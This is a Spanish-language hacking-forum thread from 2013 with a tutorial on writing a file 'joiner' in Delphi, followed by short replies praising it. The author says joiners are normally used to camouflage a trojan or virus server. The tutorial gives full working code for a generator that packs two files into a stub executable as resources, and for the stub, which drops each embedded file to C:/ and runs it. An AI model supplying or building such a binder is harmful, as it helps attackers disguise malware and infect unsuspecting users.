comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] Creacion de un Joiner

  • 4 Respuestas
  • 2045 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Agosto 28, 2013, 08:16:02 pm »
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código: Delphi
  1. procedure TForm1.Button1Click(Sender: TObject);
  2.  
  3. var
  4.   archivo1: string; // Declaramos la variable archivo1 como string
  5.   archivo2: string; // Declaramos la variable archivo2 como string
  6.   uno: DWORD; // Declaramos la variable uno como dword
  7.   tam: DWORD; // Declaramos la variable tam como dword
  8.   dos: DWORD; // Declaramos la variable dos como dword
  9.   tres: DWORD; // Declaramos la variable tres como dword
  10.   todo: Pointer; // Declaramos la variable todo como pointer
  11.  
  12. begin
  13.  
  14.   uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe
  15.  
  16.   archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo
  17.  
  18.   dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  19.     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  20.   tam := GetFileSize(dos, nil); // Capturamos el tamaño
  21.   GetMem(todo, tam); // Capturamos la memoria
  22.   ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  23.   CloseHandle(dos); // Cerramos el archivo
  24.   UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
  25.       SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  26.  
  27.   archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo
  28.  
  29.   dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  30.     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  31.   tam := GetFileSize(dos, nil); // Capturamos el tamaño
  32.   GetMem(todo, tam); // Capturamos la memoria
  33.   ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  34.   CloseHandle(dos); // Cerramos el archivo
  35.   UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
  36.       SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  37.  
  38.   EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso
  39.  
  40. end;
  41.  

Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código: Delphi
  1. program stub;
  2.  
  3. uses Windows, ShellApi; // Cargamos los modulos necesarios
  4.  
  5. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  6.   stdcall; // Empieza la funcion con los parametros
  7. var
  8.   data: DWORD; // Declaramos como DWORD la variable data
  9.   uno: DWORD; // Declaramos como DWORD la variable uno
  10.   dos: DWORD; // Declaramos como DWORD la variable dos
  11.  
  12. begin
  13.  
  14.   Result := True; // Retornamos true en la funcion
  15.  
  16.   data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos
  17.  
  18.   uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  19.     CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  20.   WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  21.     dos, nil); // Escribimos en el archivo creado
  22.  
  23.   CloseHandle(uno); // Cerramos
  24.  
  25.   ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  26.   // Ejecutamos el archivo
  27.  
  28. end;
  29.  
  30. begin
  31.   EnumResourceNames(0, RT_RCDATA, @start, 0);
  32.  
  33.   // Funcion para cargar los archivos del joiner
  34. end.
  35.  


Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF No tienes permisos para ver links. Registrate o Entra con tu cuenta.

--========--
  The End ?
--========--

Desconectado zoro248

  • *
  • Underc0der
  • Mensajes: 242
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Agosto 28, 2013, 08:34:33 pm »
Excelente, muy completo y bien explicado :D

Desconectado morodog

  • *
  • Underc0der
  • Mensajes: 350
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: MorodoG
  • Twitter: m4r4d4g
« Respuesta #2 en: Agosto 28, 2013, 09:29:40 pm »
Muy buena Doddy!! Todo perfecto explicado!!

Saludos.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« Respuesta #3 en: Agosto 29, 2013, 11:23:07 am »
Muy buen tuto. Lo agregue al indice.

Saludos

Desconectado Réplica1

  • *
  • Underc0der
  • Mensajes: 35
  • Actividad:
    0%
  • Reputación 0
  • ... está historia se acabó.
    • Ver Perfil
    • @Pekador - Twitter
« Respuesta #4 en: Agosto 29, 2013, 06:33:38 pm »
Exelento bro, muy bien explicado  ;D

 

¿Te gustó el post? COMPARTILO!



[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1982
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3126
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3254
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2574
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2885
Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX